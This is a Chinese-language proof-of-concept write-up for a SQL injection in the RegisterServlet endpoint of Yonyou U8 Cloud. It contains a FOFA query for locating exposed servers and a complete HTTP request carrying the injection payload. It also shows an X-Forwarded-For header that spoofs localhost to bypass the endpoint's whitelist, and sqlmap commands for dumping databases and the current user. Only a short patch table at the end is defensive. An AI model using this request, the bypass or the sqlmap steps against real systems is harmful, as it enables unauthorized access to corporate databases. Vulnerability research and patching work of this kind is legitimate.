用友u8-cloud RegisterServlet SQL注入漏洞复现

用友U8 cloud是用友推出的企业上云数字化平台，该产品RegisterServlet接口处存在SQL注入漏洞，攻击者可通过该漏洞获取数据库权限。

1.1 漏洞级别

高危

1.2 适用范围

所有版本（截至到2023年11月前发布的）

1.3 快速检索

fofa语法： title="u8c"

1.4 漏洞复现

该漏洞利用非常简单，只需构造post请求

POST
url/servlet/RegisterServlet

传递的参数为

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
#这里的参数是测试语句 可以生成一个123456对应的md5值

但是在实际测试中，我们很大可能性会遇到以下响应

因为用友其实存在安全机制，在不允许的白名单下是禁止使用注册相关的接口的，但是我们依然可以进行绕过，只需要构造一个x-forwarded-for头即可，那么完整的请求包应该如下：

POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.1.1:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
x-forwarded-for: 127.0.0.1
Content-Length: 85

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

发包后即可成功触发漏洞。

1.5 进一步利用

到这一步我们已经可以证明漏洞存在了， 如果想进一步利用的话 可以使用sqlmap操作。我们可以将上文的请求包保存到本地txt。然后通过sqlmap执行

python3 sqlmap.py -r 1.txt

可以看到漏洞能被正常利用。

一些简单的sqlmap语句

python3 sqlmap.py -r 1.txt  --dbs --current-user   #查询数据库和当前用户

进一步提权的话可以看sqlmap的一些指令，这里就不详述了，只是给大家提供一个方法～

1.6 修复方案

• 升级补丁

名称	适用版本
U8CLOUD所有版本RegisterServlet接口存在SQL注入漏洞的安全补丁	3.2~3.6sp
U8CLOUD低于v3.2版本RegisterServlet接口存在SQL注入漏洞的安全补丁	2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1
U8CLOUDv5.0版本RegisterServlet接口存在SQL注入漏洞的安全补丁	5.0

​